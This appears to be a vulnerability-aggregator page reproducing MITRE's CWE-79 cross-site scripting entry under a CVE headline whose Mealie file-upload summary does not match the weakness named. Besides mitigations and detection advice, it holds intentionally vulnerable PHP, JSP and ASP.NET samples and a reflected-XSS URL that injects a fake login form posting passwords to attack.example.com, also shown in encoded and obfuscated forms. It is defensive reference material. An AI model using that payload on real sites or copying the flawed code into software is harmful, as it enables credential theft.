Headline

CVE-2022-34613: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.8)

Mealie 1.0.0beta3 contains an arbitrary file upload vulnerability which allows attackers to execute arbitrary code via a crafted file.

2 years ago

CVE

Open in Source

#sql #xss #csrf #vulnerability #web #mac #microsoft #apache #redis #js #git #java #php #perl #auth #firefox #sap #asp.net

Weakness ID: 79

Abstraction: Base
Structure: Simple

Description

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

Untrusted data enters a web application, typically from a web request.
The web application dynamically generates a web page that contains this untrusted data.
During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
Since the script comes from a web page that was sent by the web server, the victim’s web browser executes the malicious script in the context of the web server’s domain.
This effectively violates the intention of the web browser’s same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker’s content back to the victim, the content is executed by the victim’s browser.
Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker’s perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim’s machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim’s account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim’s machine, sometimes referred to as “drive-by hacking.”

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Alternate Terms

XSS:

“XSS” is a common abbreviation for Cross-Site Scripting.

HTML Injection:

“HTML injection” is used as a synonym of stored (Type 2) XSS.

CSS:

In the early years after initial discovery of XSS, “CSS” was a commonly-used acronym. However, this would cause confusion with “Cascading Style Sheets,” so usage of this acronym has declined significantly.

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view “Research Concepts” (CWE-1000)

Nature

Type

Name

ChildOf

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)

ParentOf

Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

ParentOf

Improper Neutralization of Script in an Error Message Web Page

ParentOf

Improper Neutralization of Script in Attributes in a Web Page

ParentOf

Improper Neutralization of Encoded URI Schemes in a Web Page

ParentOf

Doubled Character XSS Manipulations

ParentOf

Improper Neutralization of Invalid Characters in Identifiers in Web Pages

ParentOf

Improper Neutralization of Alternate XSS Syntax

ParentOf

Chain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as “primary” to Y, and Y is “resultant” from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.

692

Incomplete Denylist to Cross-Site Scripting

PeerOf

Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be “broken down” into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.

352

Cross-Site Request Forgery (CSRF)

PeerOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

494

Download of Code Without Integrity Check

CanFollow

113

Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Request/Response Splitting’)

CanFollow

184

Incomplete List of Disallowed Inputs

CanPrecede

494

Download of Code Without Integrity Check

Relevant to the view “Software Development” (CWE-699)

Nature

Type

Name

MemberOf

Category - a CWE entry that contains a set of other entries that share a common characteristic.

137

Data Neutralization Issues

Relevant to the view “Weaknesses for Simplified Mapping of Published Vulnerabilities” (CWE-1003)

Relevant to the view “Architectural Concepts” (CWE-1008)

Nature

Type

Name

MemberOf

Category - a CWE entry that contains a set of other entries that share a common characteristic.

1019

Validate Inputs

Background Details

Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user’s interactions with this particular site.

Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase

Note

Architecture and Design

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope

Impact

Likelihood

Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which – when parsed by a web browser – performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim’s computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood Of Exploit

Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(bad code)

Example Language: PHP

$username = $_GET[‘username’];
echo '<div class="header"> Welcome, ' . $username . '</div>’;

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert(“You’ve been attacked!”);</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user’s password to the attacker:

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user’s browser:

<div class="header"> Welcome, <div id="stealPassword"> Please Login:

Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />

</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)

Example Language: JSP

<% String eid = request.getParameter(“eid”); %>
…
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
…
EmployeeID.Text = Login.Text;
%>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee’s name.

(bad code)

Example Language: JSP

<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {

rs.next();
String name = rs.getString(“name”);

}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)

Example Language: ASP.NET

<%
protected System.Web.UI.WebControls.Label EmployeeName;
…
string query = “select * from emp where id=” + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0][“Name”];
…
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user’s web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)

Example Language: PHP

$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values (“%s","%s","%s”)', $username, crypt($password),$fullName) ;
mysql_query($query);
/…/

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)

Example Language: PHP

$query = 'Select * From users Where loggedIn=true’;
$results = mysql_query($query);

if (!$results) {

exit;

}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:’;
while ($row = mysql_fetch_assoc($results)) {

echo '<div class="userNames">’.$row[‘fullname’].’</div>’;

}
echo '</div>’;

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)

Example Language: PHP

$name = $_COOKIE[“myname”];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

The raw contents of the message file would look like:

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft’s Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

HTML body
Element attributes (such as src="XYZ")
URIs
JavaScript sections
Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean’s filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an “accept known good” input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, “boat” may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as “red” or “blue.”

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon (“<3”) would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the “<” character, which would need to be escaped or otherwise handled. In this case, stripping the “<” might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Weakness Ordinalities

Ordinality

Description

Resultant

(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Notes

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user’s profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Taxonomy Mappings

Mapped Taxonomy Name

Node ID

Fit

Mapped Node Name

PLOVER

Cross-site scripting (XSS)

7 Pernicious Kingdoms

Cross-site Scripting

CLASP

Cross-site scripting

OWASP Top Ten 2007

Exact

Cross Site Scripting (XSS)

OWASP Top Ten 2004

CWE More Specific

Unvalidated Input

OWASP Top Ten 2004

Exact

Cross-Site Scripting (XSS) Flaws

WASC

Cross-site Scripting

Software Fault Patterns

SFP24

Tainted input to command

OMG ASCSM

ASCSM-CWE-79

References

[REF-709] Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". “Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting).” Page 31. McGraw-Hill. 2010.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". “Sin 3: Web-Client Related Vulnerabilities (XSS).” Page 63. McGraw-Hill. 2010.

[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. http://en.wikipedia.org/wiki/Cross-site\_scripting\.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, “Web-Specific Input Issues” Page 413. 2nd Edition. Microsoft Press. 2002-12-04. https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223\.

[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". http://ha.ckers.org/xss.html\.

[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". http://msdn.microsoft.com/en-us/library/ms533046.aspx\.

[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx\.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". http://www.owasp.org/index.php/ESAPI\.

[REF-718] Ivan Ristic. "XSS Defense HOWTO". http://blog.modsecurity.org/2008/07/do-you-know-how.html\.

[REF-719] OWASP. "Web Application Firewall". http://www.owasp.org/index.php/Web\_Application\_Firewall\.

[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html\.

[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.

[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. https://bugzilla.mozilla.org/show\_bug.cgi?id=380418\.

[REF-723] "Apache Wicket". http://wicket.apache.org/\.

[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". http://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Cheat\_Sheet\.

[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". http://www.owasp.org/index.php/DOM\_based\_XSS\_Prevention\_Cheat\_Sheet\.

[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/\.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.

[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. https://en.wikipedia.org/wiki/Samy\_(computer\_worm)\.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. http://www.omg.org/spec/ASCSM/1.0/\.

Content History

Submissions

Submission Date

Submitter

Organization

2006-07-19

PLOVER

Modifications

Modification Date

Modifier

Organization

2008-07-01

Eric Dalci

Cigital

updated Time_of_Introduction

2008-08-15

Veracode

Suggested OWASP Top Ten 2004 mapping

2008-09-08

CWE Content Team

MITRE

updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities

2009-01-12

CWE Content Team

MITRE

updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships

2009-03-10

CWE Content Team

MITRE

updated Potential_Mitigations

2009-05-27

CWE Content Team

MITRE

updated Name

2009-07-27

CWE Content Team

MITRE

updated Description

2009-10-29

CWE Content Team

MITRE

updated Observed_Examples, Relationships

2009-12-28

CWE Content Team

MITRE

updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples

2010-02-16

CWE Content Team

MITRE

updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings

2010-04-05

CWE Content Team

MITRE

updated Description, Potential_Mitigations, Related_Attack_Patterns

2010-06-21

CWE Content Team

MITRE

updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships

2010-09-27

CWE Content Team

MITRE

updated Potential_Mitigations

2011-03-29

CWE Content Team

MITRE

updated Demonstrative_Examples, References

2011-06-01

CWE Content Team

MITRE

updated Common_Consequences

2011-06-27

CWE Content Team

MITRE

updated Relationships

2011-09-13

CWE Content Team

MITRE

updated Detection_Factors, Potential_Mitigations

2012-05-11

CWE Content Team

MITRE

updated References, Relationships

2012-10-30

CWE Content Team

MITRE

updated Potential_Mitigations

2013-07-17

CWE Content Team

MITRE

updated Relationships

2014-07-30

CWE Content Team

MITRE

updated Relationships, Taxonomy_Mappings

2015-12-07

CWE Content Team

MITRE

updated Relationships

2017-01-19

CWE Content Team

MITRE

updated Related_Attack_Patterns

2017-05-03

CWE Content Team

MITRE

updated Related_Attack_Patterns, Relationships

2017-11-08

CWE Content Team

MITRE

updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships

2018-03-27

CWE Content Team

MITRE

updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships

2019-01-03

CWE Content Team

MITRE

updated References, Relationships, Taxonomy_Mappings

2019-09-19

CWE Content Team

MITRE

updated Relationships

2020-02-24

